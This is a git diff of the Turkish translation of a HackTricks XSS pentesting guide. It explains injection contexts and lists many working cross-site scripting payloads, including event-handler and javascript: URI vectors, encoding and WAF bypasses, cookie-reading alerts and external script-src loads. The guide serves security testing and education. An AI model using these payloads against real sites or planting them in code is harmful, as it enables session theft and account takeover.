mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/pentesting-web/xss-cross-site-scripting/README.md'] to
This commit is contained in:
parent
1a643d3815
commit
7e9514b68c
@ -5,17 +5,17 @@
|
||||
1. **Kontrol ettiğiniz herhangi bir değerin** (_parametreler_, _yol_, _başlıklar_?, _çerezler_?) HTML'de **yansıtılıp** **JS** kodu tarafından **kullanılıp kullanılmadığını** kontrol edin.
|
||||
2. **Yansıtıldığı/kullanıldığı bağlamı** bulun.
|
||||
3. Eğer **yansıtılmışsa**:
|
||||
1. **Hangi sembolleri kullanabileceğinizi** kontrol edin ve buna bağlı olarak yükü hazırlayın:
|
||||
1. **Hangi sembolleri kullanabileceğinizi** kontrol edin ve buna bağlı olarak payload'u hazırlayın:
|
||||
1. **Ham HTML'de**:
|
||||
1. Yeni HTML etiketleri oluşturabilir misiniz?
|
||||
2. `javascript:` protokolünü destekleyen olaylar veya öznitelikler kullanabilir misiniz?
|
||||
2. `javascript:` protokolünü destekleyen olayları veya nitelikleri kullanabilir misiniz?
|
||||
3. Koruma mekanizmalarını aşabilir misiniz?
|
||||
4. HTML içeriği herhangi bir istemci tarafı JS motoru (_AngularJS_, _VueJS_, _Mavo_...) tarafından yorumlanıyorsa, [**İstemci Tarafı Şablon Enjeksiyonu**](../client-side-template-injection-csti.md) istismar edebilirsiniz.
|
||||
5. JS kodu yürüten HTML etiketleri oluşturamıyorsanız, [**Dangling Markup - HTML scriptless injection**](../dangling-markup-html-scriptless-injection/index.html) istismar edebilir misiniz?
|
||||
4. HTML içeriği herhangi bir istemci tarafı JS motoru (_AngularJS_, _VueJS_, _Mavo_...) tarafından yorumlanıyor mu, [**İstemci Tarafı Şablon Enjeksiyonu**](../client-side-template-injection-csti.md) istismar edebilirsiniz.
|
||||
5. JS kodu çalıştıran HTML etiketleri oluşturamıyorsanız, [**Dangling Markup - HTML scriptless injection**](../dangling-markup-html-scriptless-injection/index.html) istismar edebilir misiniz?
|
||||
2. **HTML etiketinin içinde**:
|
||||
1. Ham HTML bağlamına çıkabilir misiniz?
|
||||
2. JS kodunu çalıştırmak için yeni olaylar/öznitelikler oluşturabilir misiniz?
|
||||
3. Sıkıştığınız öznitelik JS yürütmesini destekliyor mu?
|
||||
2. JS kodunu çalıştırmak için yeni olaylar/nitelikler oluşturabilir misiniz?
|
||||
3. Sıkıştığınız nitelik JS yürütmesini destekliyor mu?
|
||||
4. Koruma mekanizmalarını aşabilir misiniz?
|
||||
3. **JavaScript kodunun içinde**:
|
||||
1. `<script>` etiketini kaçırabilir misiniz?
|
||||
@ -50,14 +50,14 @@ Bir XSS'i istismar etmeye çalışırken bilmeniz gereken ilk şey, **girdinizin
|
||||
Eğer girdiniz **ham HTML** sayfasında **yansıtılıyorsa**, JS kodunu çalıştırmak için bazı **HTML etiketlerini** istismar etmeniz gerekecek: `<img , <iframe , <svg , <script` ... bunlar kullanabileceğiniz birçok olası HTML etiketinden sadece birkaçıdır.\
|
||||
Ayrıca, [İstemci Tarafı Şablon Enjeksiyonu](../client-side-template-injection-csti.md) aklınızda bulunsun.
|
||||
|
||||
### HTML etiketinin özniteliklerinin içinde
|
||||
### HTML etiketinin niteliği içinde
|
||||
|
||||
Eğer girdiniz bir etiketin özniteliğinin değerinin içinde yansıtılıyorsa, şunları deneyebilirsiniz:
|
||||
Eğer girdiniz bir etiketin niteliğinin değerinde yansıtılıyorsa, şunları deneyebilirsiniz:
|
||||
|
||||
1. **Öznitelikten ve etikten kaçmak** (o zaman ham HTML'de olacaksınız) ve istismar etmek için yeni bir HTML etiketi oluşturmak: `"><img [...]`
|
||||
2. Eğer **öznitelikten kaçabiliyorsanız ama etiketten kaçamıyorsanız** (`>` kodlanmış veya silinmişse), etikete bağlı olarak **JS kodunu çalıştıran bir olay oluşturabilirsiniz**: `" autofocus onfocus=alert(1) x="`
|
||||
3. Eğer **öznitelikten kaçamıyorsanız** (`"` kodlanmış veya silinmişse), o zaman **hangi öznitelikte** değerinizin yansıtıldığına bağlı olarak **değerin tamamını mı yoksa sadece bir kısmını mı kontrol ettiğinize** bağlı olarak bunu istismar edebilirsiniz. **Örneğin**, `onclick=` gibi bir olayı kontrol ediyorsanız, tıklandığında keyfi kod çalıştırmasını sağlayabilirsiniz. Diğer ilginç bir **örnek**, `href` özniteliğidir; burada keyfi kod çalıştırmak için `javascript:` protokolünü kullanabilirsiniz: **`href="javascript:alert(1)"`**
|
||||
4. Eğer girdiniz "**istismar edilemez etiketlerin**" içinde yansıtılıyorsa, açığı istismar etmek için **`accesskey`** numarasını deneyebilirsiniz (bunu istismar etmek için bir tür sosyal mühendislik yapmanız gerekecek): **`" accesskey="x" onclick="alert(1)" x="**
|
||||
1. **Nitelikten ve etiketten kaçmak** (o zaman ham HTML'de olacaksınız) ve istismar etmek için yeni bir HTML etiketi oluşturmak: `"><img [...]`
|
||||
2. Eğer **nitelikten kaçabiliyorsanız ama etiketten kaçamıyorsanız** (`>` kodlanmış veya silinmişse), etikete bağlı olarak **JS kodunu çalıştıran bir olay** oluşturabilirsiniz: `" autofocus onfocus=alert(1) x="`
|
||||
3. Eğer **nitelikten kaçamıyorsanız** (`"` kodlanmış veya silinmişse), o zaman **hangi nitelikte** değerinizin yansıtıldığına bağlı olarak **değerin tamamını mı yoksa sadece bir kısmını mı kontrol ettiğinize** bağlı olarak bunu istismar edebilirsiniz. **Örneğin**, `onclick=` gibi bir olayı kontrol ediyorsanız, tıklandığında keyfi kod çalıştırmasını sağlayabilirsiniz. Diğer ilginç bir **örnek**, `href` niteliğidir; burada keyfi kod çalıştırmak için `javascript:` protokolünü kullanabilirsiniz: **`href="javascript:alert(1)"`**
|
||||
4. Eğer girdiniz "**istismar edilemez etiketler**" içinde yansıtılıyorsa, açığı istismar etmek için **`accesskey`** numarasını deneyebilirsiniz (bunu istismar etmek için bir tür sosyal mühendislik yapmanız gerekecek): **`" accesskey="x" onclick="alert(1)" x="**
|
||||
|
||||
Kontrol ettiğiniz bir sınıf adı varsa Angular'ın XSS'i çalıştırdığı tuhaf bir örnek:
|
||||
```html
|
||||
@ -69,12 +69,12 @@ Kontrol ettiğiniz bir sınıf adı varsa Angular'ın XSS'i çalıştırdığı
|
||||
|
||||
Bu durumda, girdiniz bir HTML sayfasının **`<script> [...] </script>`** etiketleri arasında, bir `.js` dosyası içinde veya bir öznitelik içinde **`javascript:`** protokolü kullanılarak yansıtılır:
|
||||
|
||||
- Eğer **`<script> [...] </script>`** etiketleri arasında yansıtılıyorsa, girdiniz her türlü tırnak içinde olsa bile, `</script>` enjekte etmeyi deneyebilirsiniz ve bu bağlamdan çıkabilirsiniz. Bu, **tarayıcının önce HTML etiketlerini** ayrıştırmasından ve ardından içeriği işlemesinden dolayı çalışır; bu nedenle, enjekte ettiğiniz `</script>` etiketinin HTML kodu içinde olduğunu fark etmeyecektir.
|
||||
- Eğer **`<script> [...] </script>`** etiketleri arasında yansıtılıyorsa, girdiniz her türlü tırnak içinde olsa bile, `</script>` enjekte etmeyi deneyebilirsiniz ve bu bağlamdan çıkabilirsiniz. Bu, **tarayıcının önce HTML etiketlerini** ayrıştırması ve ardından içeriği işlemesi nedeniyle çalışır, bu nedenle enjekte ettiğiniz `</script>` etiketinin HTML kodu içinde olduğunu fark etmeyecektir.
|
||||
- Eğer **bir JS dizesi içinde** yansıtılıyorsa ve son numara çalışmıyorsa, dizeden **çıkmanız**, kodunuzu **çalıştırmanız** ve JS kodunu **yeniden oluşturmanız** gerekir (herhangi bir hata varsa, çalıştırılmayacaktır):
|
||||
- `'-alert(1)-'`
|
||||
- `';-alert(1)//`
|
||||
- `\';alert(1)//`
|
||||
- Eğer şablon dizeleri içinde yansıtılıyorsa, `${ ... }` sözdizimini kullanarak **JS ifadeleri** **gömebilirsiniz**: `` var greetings = `Hello, ${alert(1)}` ``
|
||||
- Eğer şablon dizeleri içinde yansıtılıyorsa, `${ ... }` sözdizimini kullanarak **JS ifadelerini** **gömebilirsiniz**: `` var greetings = `Hello, ${alert(1)}` ``
|
||||
- **Unicode kodlama** geçerli **javascript kodu** yazmak için çalışır:
|
||||
```javascript
|
||||
alert(1)
|
||||
@ -98,7 +98,7 @@ Kullanıcı tarafından doğrudan verilen bir şeyin çalıştırılmaya çalı
|
||||
|
||||
.png>)
|
||||
|
||||
Eğer zayıfsa, sadece değeri göndererek **bir uyarı tetikleyebilirsiniz**: **`?callback=alert(1)`**. Ancak, bu uç noktaların genellikle **içeriği doğrulaması** ve yalnızca harfler, sayılar, noktalar ve alt çizgiler (**`[\w\._]`**) kullanmasına izin vermesi oldukça yaygındır.
|
||||
Eğer zayıfsa, sadece değeri göndererek **bir uyarı tetikleyebilirsiniz**: **`?callback=alert(1)`**. Ancak, bu uç noktaların genellikle **içeriği doğrulaması** ve yalnızca harfler, sayılar, noktalar ve alt çizgiler (**`[\w\._]`**) gibi karakterlere izin vermesi oldukça yaygındır.
|
||||
|
||||
Ancak, bu sınırlamaya rağmen bazı eylemleri gerçekleştirmek hala mümkündür. Bunun nedeni, bu geçerli karakterleri kullanarak **DOM'daki herhangi bir öğeye erişebilmenizdir**:
|
||||
|
||||
@ -114,7 +114,7 @@ parentElement
|
||||
```
|
||||
Ayrıca **Javascript fonksiyonlarını** doğrudan tetiklemeyi deneyebilirsiniz: `obj.sales.delOrders`.
|
||||
|
||||
Ancak, genellikle belirtilen fonksiyonu yürüten uç noktalar, çok ilginç DOM'a sahip olmayan uç noktalardır, **aynı kökenden diğer sayfalar** daha fazla işlem yapmak için **daha ilginç bir DOM** içerecektir.
|
||||
Ancak, genellikle belirtilen fonksiyonu yürüten uç noktalar, çok ilginç DOM'a sahip olmayan uç noktalardır, **aynı kök içindeki diğer sayfalar** daha fazla işlem yapmak için **daha ilginç bir DOM** içerecektir.
|
||||
|
||||
Bu nedenle, **farklı bir DOM'da bu zafiyeti istismar etmek için** **Same Origin Method Execution (SOME)** istismarı geliştirilmiştir:
|
||||
|
||||
@ -124,7 +124,7 @@ some-same-origin-method-execution.md
|
||||
|
||||
### DOM
|
||||
|
||||
**JS kodu**, **bir saldırgan tarafından kontrol edilen** bazı **verileri** **güvensiz bir şekilde** kullanmaktadır, örneğin `location.href`. Bir saldırgan, bunu keyfi JS kodu yürütmek için istismar edebilir.
|
||||
**JS kodu** bazı **saldırgan tarafından kontrol edilen** verileri **güvensiz bir şekilde** kullanmaktadır, örneğin `location.href`. Bir saldırgan, bunu kullanarak keyfi JS kodu çalıştırabilir.
|
||||
|
||||
{{#ref}}
|
||||
dom-xss.md
|
||||
@ -132,7 +132,7 @@ dom-xss.md
|
||||
|
||||
### **Evrensel XSS**
|
||||
|
||||
Bu tür XSS'ler **her yerde** bulunabilir. Sadece bir web uygulamasının istemci istismarı ile değil, **herhangi bir** **bağlamda** bağımlıdır. Bu tür **keyfi JavaScript yürütmesi**, **RCE** elde etmek, istemcilerde ve sunucularda **keyfi** **dosyaları** **okumak** ve daha fazlası için bile istismar edilebilir.\
|
||||
Bu tür XSS'ler **her yerde** bulunabilir. Sadece bir web uygulamasının istemci istismarı ile değil, **herhangi bir** **bağlamda** bağımlıdır. Bu tür **keyfi JavaScript yürütmesi** hatta **RCE** elde etmek, istemcilerde ve sunucularda **keyfi** **dosyaları** okumak ve daha fazlası için istismar edilebilir.\
|
||||
Bazı **örnekler**:
|
||||
|
||||
{{#ref}}
|
||||
@ -143,15 +143,15 @@ server-side-xss-dynamic-pdf.md
|
||||
../../network-services-pentesting/pentesting-web/electron-desktop-apps/
|
||||
{{#endref}}
|
||||
|
||||
## WAF atlatma kodlaması resmi
|
||||
## WAF atlatma kodlaması görüntü
|
||||
|
||||
.jpg>)
|
||||
|
||||
## Ham HTML içinde enjekte etme
|
||||
|
||||
Girdiğiniz değer **HTML sayfası içinde** yansıtıldığında veya bu bağlamda HTML kodunu kaçırıp enjekte edebiliyorsanız, yapmanız gereken **ilk** şey `<` karakterini yeni etiketler oluşturmak için istismar edip edemeyeceğinizi kontrol etmektir: O **karakteri** **yansıtmayı** deneyin ve **HTML kodlaması** yapılıp yapılmadığını veya **silinip silinmediğini** ya da **değişiklik olmadan yansıtılıp yansıtılmadığını** kontrol edin. **Sadece son durumda bu durumu istismar edebilirsiniz**.\
|
||||
Girdiğiniz **HTML sayfasında** yansıtılıyorsa veya bu bağlamda HTML kodunu kaçırıp enjekte edebiliyorsanız, yapmanız gereken **ilk** şey `<` karakterini yeni etiketler oluşturmak için istismar edip edemeyeceğinizi kontrol etmektir: O **karakteri** **yansıtmayı** deneyin ve **HTML kodlaması** yapılıp yapılmadığını veya **değişiklik olmadan yansıtılıp yansıtılmadığını** kontrol edin. **Sadece son durumda bu durumu istismar edebilirsiniz**.\
|
||||
Bu durumlar için ayrıca **[**Client Side Template Injection**](../client-side-template-injection-csti.md)**'ı da **aklınızda bulundurun**.\
|
||||
_**Not: Bir HTML yorumu, \*\*\*\*\*\***\***\*`-->`\*\***\***\* veya \*\*\*\*\*\***`--!>`\*\** ile kapatılabilir._
|
||||
_**Not: Bir HTML yorumu `-->` veya `--!>` ile kapatılabilir.**_
|
||||
|
||||
Bu durumda ve eğer kara/beyaz listeleme kullanılmıyorsa, şu tür payload'ları kullanabilirsiniz:
|
||||
```html
|
||||
@ -161,16 +161,16 @@ alert(1)
|
||||
<img src="x" onerror="alert(1)" />
|
||||
<svg onload=alert('XSS')>
|
||||
```
|
||||
Ancak, eğer etiketler/özellikler siyah/beyaz listeleme kullanılıyorsa, hangi etiketleri oluşturabileceğinizi **brute-force** etmeniz gerekecek.\
|
||||
Hangi etiketlerin izin verildiğini **bulduktan** sonra, bulunan geçerli etiketler içinde **özellikler/olayları brute-force** etmeniz gerekecek, böylece bağlamı nasıl saldırıya uğratabileceğinizi görebilirsiniz.
|
||||
Ama, eğer etiketler/özellikler siyah/beyaz listeleme kullanılıyorsa, hangi etiketleri oluşturabileceğinizi **brute-force** etmeniz gerekecek.\
|
||||
Hangi etiketlerin izin verildiğini **bulduktan** sonra, bağlamı nasıl saldırıya uğratabileceğinizi görmek için bulunan geçerli etiketler içindeki **özellikleri/olayları brute-force** etmeniz gerekecek.
|
||||
|
||||
### Etiketler/Olaylar brute-force
|
||||
|
||||
[**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) adresine gidin ve _**Etiketleri panoya kopyala**_ seçeneğine tıklayın. Ardından, hepsini Burp intruder kullanarak gönderin ve herhangi bir etiketin WAF tarafından kötü niyetli olarak keşfedilip keşfedilmediğini kontrol edin. Hangi etiketleri kullanabileceğinizi keşfettikten sonra, geçerli etiketleri kullanarak **tüm olayları brute-force** edebilirsiniz (aynı web sayfasında _**Olayları panoya kopyala**_ seçeneğine tıklayın ve önceki prosedürü izleyin).
|
||||
[**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) adresine gidin ve _**Etiketleri panoya kopyala**_ seçeneğine tıklayın. Ardından, bunların hepsini Burp intruder kullanarak gönderin ve herhangi bir etiketin WAF tarafından kötü niyetli olarak keşfedilip keşfedilmediğini kontrol edin. Hangi etiketleri kullanabileceğinizi keşfettikten sonra, geçerli etiketleri kullanarak **tüm olayları brute-force** edebilirsiniz (aynı web sayfasında _**Olayları panoya kopyala**_ seçeneğine tıklayın ve önceki prosedürü izleyin).
|
||||
|
||||
### Özel etiketler
|
||||
|
||||
Eğer geçerli bir HTML etiketi bulamadıysanız, **özel bir etiket oluşturmayı** deneyebilir ve `onfocus` özelliği ile JS kodu çalıştırabilirsiniz. XSS isteğinde, URL'yi `#` ile bitirmeniz gerekecek, böylece sayfa **o nesneye odaklanır** ve kodu **çalıştırır**:
|
||||
Eğer geçerli bir HTML etiketi bulamadıysanız, **özel bir etiket oluşturmayı** deneyebilir ve `onfocus` özelliği ile JS kodu çalıştırabilirsiniz. XSS isteğinde, URL'yi `#` ile bitirmeniz gerekiyor, böylece sayfa **o nesneye odaklanır** ve kodu **çalıştırır**:
|
||||
```
|
||||
/?search=<xss+id%3dx+onfocus%3dalert(document.cookie)+tabindex%3d1>#x
|
||||
```
|
||||
@ -228,29 +228,29 @@ onerror=alert`1`
|
||||
```
|
||||
### Length bypass (small XSSs)
|
||||
|
||||
> [!NOTE] > **Farklı ortamlar için daha fazla küçük XSS** payload [**burada bulunabilir**](https://github.com/terjanq/Tiny-XSS-Payloads) ve [**burada**](https://tinyxss.terjanq.me).
|
||||
> [!NOTE] > **Farklı ortamlar için daha küçük XSS'ler** payload [**burada bulunabilir**](https://github.com/terjanq/Tiny-XSS-Payloads) ve [**burada**](https://tinyxss.terjanq.me).
|
||||
```html
|
||||
<!-- Taken from the blog of Jorge Lajara -->
|
||||
<svg/onload=alert``> <script src=//aa.es> <script src=//℡㏛.pw>
|
||||
```
|
||||
The last one is using 2 unicode characters which expands to 5: telsr\
|
||||
More of these characters can be found [here](https://www.unicode.org/charts/normalization/).\
|
||||
To check in which characters are decomposed check [here](https://www.compart.com/en/unicode/U+2121).
|
||||
Sonuncusu, 5'e genişleyen 2 unicode karakteri kullanıyor: telsr\
|
||||
Bu karakterlerden daha fazlasını [burada](https://www.unicode.org/charts/normalization/) bulabilirsiniz.\
|
||||
Hangi karakterlerin ayrıştırıldığını kontrol etmek için [buraya](https://www.compart.com/en/unicode/U+2121) bakabilirsiniz.
|
||||
|
||||
### Click XSS - Clickjacking
|
||||
|
||||
Eğer zafiyeti istismar etmek için **kullanıcının önceden doldurulmuş verilerle bir bağlantıya veya forma tıklamasını** gerektiriyorsa, [**Clickjacking'i istismar etmeyi**](../clickjacking.md#xss-clickjacking) deneyebilirsiniz (eğer sayfa zayıfsa).
|
||||
Eğer açığı istismar etmek için **kullanıcının önceden doldurulmuş verilerle bir bağlantıya veya forma tıklamasını** gerektiriyorsa, [**Clickjacking'i istismar etmeyi**](../clickjacking.md#xss-clickjacking) deneyebilirsiniz (eğer sayfa savunmasızsa).
|
||||
|
||||
### Impossible - Dangling Markup
|
||||
### İmkansız - Dangling Markup
|
||||
|
||||
Eğer **JS kodunu çalıştırmak için bir özniteliğe sahip bir HTML etiketi oluşturmanın imkansız olduğunu** düşünüyorsanız, [**Dangling Markup** ](../dangling-markup-html-scriptless-injection/index.html) kontrol etmelisiniz çünkü zafiyeti **JS** kodu çalıştırmadan **istismar edebilirsiniz**.
|
||||
Eğer **JS kodunu çalıştırmak için bir HTML etiketi oluşturmanın imkansız olduğunu** düşünüyorsanız, [**Dangling Markup** ](../dangling-markup-html-scriptless-injection/index.html) kontrol etmelisiniz çünkü açığı **JS** kodu çalıştırmadan **istismar edebilirsiniz**.
|
||||
|
||||
## Injecting inside HTML tag
|
||||
## HTML etiketinin içine enjekte etme
|
||||
|
||||
### Inside the tag/escaping from attribute value
|
||||
### Etiketin içinde/özellik değerinden kaçış
|
||||
|
||||
Eğer **bir HTML etiketinin içindeyseniz**, denemek için ilk şey **etiketten kaçmak** ve [önceki bölümde](#injecting-inside-raw-html) belirtilen bazı teknikleri kullanarak JS kodunu çalıştırmaktır.\
|
||||
Eğer **etiketten kaçamazsanız**, etikette yeni öznitelikler oluşturarak JS kodunu çalıştırmayı deneyebilirsiniz, örneğin (_bu örnekte çift tırnakların öznitelikten kaçmak için kullanıldığını unutmayın, eğer girdiniz doğrudan etiketin içinde yansıtılıyorsa onlara ihtiyacınız olmayacak_):
|
||||
Eğer **bir HTML etiketinin içindeyseniz**, denemek için yapabileceğiniz ilk şey **etiketten kaçmak** ve [önceki bölümde](#injecting-inside-raw-html) belirtilen bazı teknikleri kullanarak JS kodunu çalıştırmaktır.\
|
||||
Eğer **etiketten kaçamazsanız**, etikette yeni özellikler oluşturarak JS kodunu çalıştırmayı deneyebilirsiniz, örneğin (_bu örnekte çift tırnakların özellikten kaçmak için kullanıldığını unutmayın, eğer girdiniz doğrudan etiketin içinde yansıtılıyorsa onlara ihtiyacınız olmayacak_):
|
||||
```bash
|
||||
" autofocus onfocus=alert(document.domain) x="
|
||||
" onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t
|
||||
@ -267,14 +267,14 @@ Eğer **etiketten kaçamazsanız**, etikette yeni öznitelikler oluşturarak JS
|
||||
```
|
||||
### Attribute İçinde
|
||||
|
||||
Eğer **atribütten kaçamazsanız** (`"` kodlanıyor veya siliniyor), **değerinizin hangi atributte** yansıtıldığına bağlı olarak **değerin tamamını mı yoksa sadece bir kısmını mı kontrol ettiğinize** göre bunu kötüye kullanabileceksiniz. **Örneğin**, `onclick=` gibi bir olayı kontrol ediyorsanız, tıklandığında rastgele kod çalıştırabilirsiniz.\
|
||||
Eğer **atribütten kaçamazsanız** (`"` kodlanıyor veya siliniyorsa), **değerinizin hangi atributte** yansıtıldığına bağlı olarak **değerin tamamını mı yoksa sadece bir kısmını mı kontrol ettiğinize** bağlı olarak bunu kötüye kullanabileceksiniz. **Örneğin**, `onclick=` gibi bir olayı kontrol ediyorsanız, tıklandığında rastgele kod çalıştırmasını sağlayabilirsiniz.\
|
||||
Bir diğer ilginç **örnek** ise `href` atributudur; burada `javascript:` protokolünü kullanarak rastgele kod çalıştırabilirsiniz: **`href="javascript:alert(1)"`**
|
||||
|
||||
**HTML kodlaması/URL kodlaması kullanarak olay içindeki atlatma**
|
||||
|
||||
HTML etiket atributlerinin değerleri içindeki **HTML kodlanmış karakterler** **çalışma zamanında** **çözülür**. Bu nedenle aşağıdaki gibi bir şey geçerli olacaktır (yükleme bold olarak belirtilmiştir): `<a id="author" href="http://none" onclick="var tracker='http://foo?`**`'-alert(1)-'`**`';">Geri Dön </a>`
|
||||
|
||||
Herhangi bir tür HTML kodlamasının geçerli olduğunu unutmayın:
|
||||
**Her türlü HTML kodlaması geçerlidir**:
|
||||
```javascript
|
||||
//HTML entities
|
||||
'-alert(1)-'
|
||||
@ -303,7 +303,7 @@ Herhangi bir tür HTML kodlamasının geçerli olduğunu unutmayın:
|
||||
```
|
||||
### Özel Protokoller İçinde attribute
|
||||
|
||||
Burada bazı yerlerde **`javascript:`** veya **`data:`** protokollerini **rastgele JS kodu çalıştırmak için** kullanabilirsiniz. Bazıları kullanıcı etkileşimi gerektirecek, bazıları ise gerektirmeyecek.
|
||||
Burada bazı yerlerde **`javascript:`** veya **`data:`** protokollerini **rastgele JS kodu çalıştırmak** için kullanabilirsiniz. Bazıları kullanıcı etkileşimi gerektirecek, bazıları ise gerektirmeyecek.
|
||||
```javascript
|
||||
javascript:alert(1)
|
||||
JavaSCript:alert(1)
|
||||
@ -351,13 +351,13 @@ _**Bu durumda, bir öznitelik içinde olduğunuz için önceki bölümdeki HTML
|
||||
```javascript
|
||||
<a href="javascript:var a=''-alert(1)-''">
|
||||
```
|
||||
Ayrıca, bu durumlar için başka bir **güzel numara** var: **Girdiğiniz `javascript:...` URL kodlanmış olsa bile, çalıştırılmadan önce URL çözülür.** Yani, eğer **tek tırnak** kullanarak **string**'den **kaçış** yapmanız gerekiyorsa ve **URL kodlandığını** görüyorsanız, **önemli değil,** çalıştırma sırasında **tek tırnak** olarak **yorumlanacaktır.**
|
||||
Ayrıca, bu durumlar için başka bir **güzel numara** var: **Girdiğiniz `javascript:...` URL kodlanmış olsa bile, çalıştırılmadan önce URL çözülür.** Yani, eğer **string**'den **tek tırnak** ile **kaçış** yapmanız gerekiyorsa ve **URL kodlandığını** görüyorsanız, **önemli değil,** çalıştırma sırasında **tek tırnak** olarak **yorumlanacaktır.**
|
||||
```javascript
|
||||
'-alert(1)-'
|
||||
%27-alert(1)-%27
|
||||
<iframe src=javascript:%61%6c%65%72%74%28%31%29></iframe>
|
||||
```
|
||||
Not edin ki **payload**'ı kodlamak için herhangi bir sırayla **URLencode + HTMLencode** kullanmaya çalışırsanız, bu **çalışmayacaktır**, ancak **payload** içinde bunları **karıştırabilirsiniz**.
|
||||
Not edin ki **payload**'ı kodlamak için herhangi bir sırayla **URLencode + HTMLencode** kullanmaya çalışırsanız, bu **çalışmayacaktır**, ancak **payload** içinde **karıştırabilirsiniz**.
|
||||
|
||||
**`javascript:` ile Hex ve Octal kodlama kullanma**
|
||||
|
||||
@ -373,7 +373,7 @@ Not edin ki **payload**'ı kodlamak için herhangi bir sırayla **URLencode + HT
|
||||
<svg onload=javascript:'\x61\x6c\x65\x72\x74\x28\x31\x29' />
|
||||
<svg onload=javascript:'\141\154\145\162\164\50\61\51' />
|
||||
```
|
||||
### Ters sekme yakalama
|
||||
### Ters sekme kapma
|
||||
```javascript
|
||||
<a target="_blank" rel="opener"
|
||||
```
|
||||
@ -430,13 +430,13 @@ onbeforetoggle="alert(2)" />
|
||||
|
||||
### Kara Liste Atlatmaları
|
||||
|
||||
Bu bölümde farklı kodlama kullanma ile ilgili birkaç hile zaten ortaya konmuştur. **Nereye kullanabileceğinizi öğrenmek için geri dönün:**
|
||||
Bu bölümde farklı kodlama kullanarak birkaç hile zaten ortaya konmuştur. **Nereye kullanabileceğinizi öğrenmek için geri dönün:**
|
||||
|
||||
- **HTML kodlama (HTML etiketleri)**
|
||||
- **Unicode kodlama (geçerli JS kodu olabilir):** `\u0061lert(1)`
|
||||
- **URL kodlama**
|
||||
- **HTML kodlaması (HTML etiketleri)**
|
||||
- **Unicode kodlaması (geçerli JS kodu olabilir):** `\u0061lert(1)`
|
||||
- **URL kodlaması**
|
||||
- **Hex ve Oktal kodlama**
|
||||
- **veri kodlama**
|
||||
- **veri kodlaması**
|
||||
|
||||
**HTML etiketleri ve öznitelikleri için atlatmalar**
|
||||
|
||||
@ -450,7 +450,7 @@ Bu bölümde farklı kodlama kullanma ile ilgili birkaç hile zaten ortaya konmu
|
||||
|
||||
Eğer webin çok küçük bir kısmında bir **XSS bulduysanız** ve bu bir tür etkileşim gerektiriyorsa (belki de alt kısımda bir onmouseover öğesi olan küçük bir bağlantı), **o öğenin kapladığı alanı değiştirmeyi** deneyebilirsiniz, böylece bağlantının tetiklenme olasılığını artırabilirsiniz.
|
||||
|
||||
Örneğin, öğeye şu şekilde bir stil ekleyebilirsiniz: `position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5`
|
||||
Örneğin, öğeye şu şekilde stil ekleyebilirsiniz: `position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5`
|
||||
|
||||
Ancak, eğer WAF stil özniteliğini filtreliyorsa, CSS Stil Aletlerini kullanabilirsiniz, bu yüzden eğer örneğin
|
||||
|
||||
@ -460,7 +460,7 @@ ve
|
||||
|
||||
> \#someid {top: 0; font-family: Tahoma;}
|
||||
|
||||
bulursanız, bağlantımızı şu forma getirebilirsiniz
|
||||
bulursanız, bağlantınızı şu forma getirebilirsiniz
|
||||
|
||||
> \<a href="" id=someid class=test onclick=alert() a="">
|
||||
|
||||
@ -476,7 +476,7 @@ Eğer kodunuz `<script> [...] var input = 'yansıtılan veri' [...] </script>` i
|
||||
```javascript
|
||||
</script><img src=1 onerror=alert(document.domain)>
|
||||
```
|
||||
Not edin ki bu örnekte **tek tırnağı bile kapatmadık**. Bunun nedeni **HTML ayrıştırmasının önce tarayıcı tarafından gerçekleştirilmesidir**, bu da sayfa öğelerinin, script blokları da dahil olmak üzere, tanımlanmasını içerir. JavaScript'in gömülü scriptleri anlamak ve yürütmek için ayrıştırılması yalnızca sonrasında gerçekleştirilir.
|
||||
Not edin ki bu örnekte **tek tırnağı bile kapatmadık**. Bunun nedeni **HTML ayrıştırmasının önce tarayıcı tarafından gerçekleştirilmesidir**, bu da sayfa öğelerinin, script blokları da dahil olmak üzere, tanımlanmasını içerir. JavaScript'in gömülü scriptleri anlamak ve yürütmek için ayrıştırılması ancak sonrasında gerçekleştirilir.
|
||||
|
||||
### JS kodu içinde
|
||||
|
||||
@ -510,7 +510,7 @@ loop``
|
||||
<svg><script>alert(1)</script></svg> <!-- The svg tags are neccesary
|
||||
<iframe srcdoc="<SCRIPT>alert(1)</iframe>">
|
||||
```
|
||||
### Unicode Encode JS execution
|
||||
### Unicode Kodlama JS yürütme
|
||||
```javascript
|
||||
alert(1)
|
||||
alert(1)
|
||||
@ -624,7 +624,7 @@ console.log(arguments);
|
||||
btt`${'arg1'}${'arg2'}${'arg3'}`
|
||||
|
||||
//It's possible to construct a function and call it
|
||||
Function`x${'alert(1337)'}x```
|
||||
Function`x${'alert(1337)'}x`
|
||||
|
||||
// .replace can use regexes and call a function if something is found
|
||||
"a,".replace`a${alert}` //Initial ["a"] is passed to str as "a," and thats why the initial string is "a,"
|
||||
@ -672,6 +672,7 @@ try{throw onerror=alert}catch{throw 1}
|
||||
'alert\x281\x29'instanceof{[Symbol['hasInstance']]:eval}
|
||||
'alert\x281\x29'instanceof{[Symbol.hasInstance]:eval}
|
||||
// The “has instance” symbol allows you to customise the behaviour of the instanceof operator, if you set this symbol it will pass the left operand to the function defined by the symbol.
|
||||
|
||||
```
|
||||
- [https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md](https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md)
|
||||
- [https://portswigger.net/research/javascript-without-parentheses-using-dommatrix](https://portswigger.net/research/javascript-without-parentheses-using-dommatrix)
|
||||
@ -746,13 +747,13 @@ dom-xss.md
|
||||
{{#endref}}
|
||||
|
||||
Orada **DOM zafiyetlerinin ne olduğunu, nasıl tetiklendiğini ve nasıl istismar edileceğini** detaylı bir şekilde bulacaksınız.\
|
||||
Ayrıca, bahsedilen gönderinin **sonunda** [**DOM Clobbering saldırıları**](dom-xss.md#dom-clobbering) hakkında bir açıklama bulmayı unutmayın.
|
||||
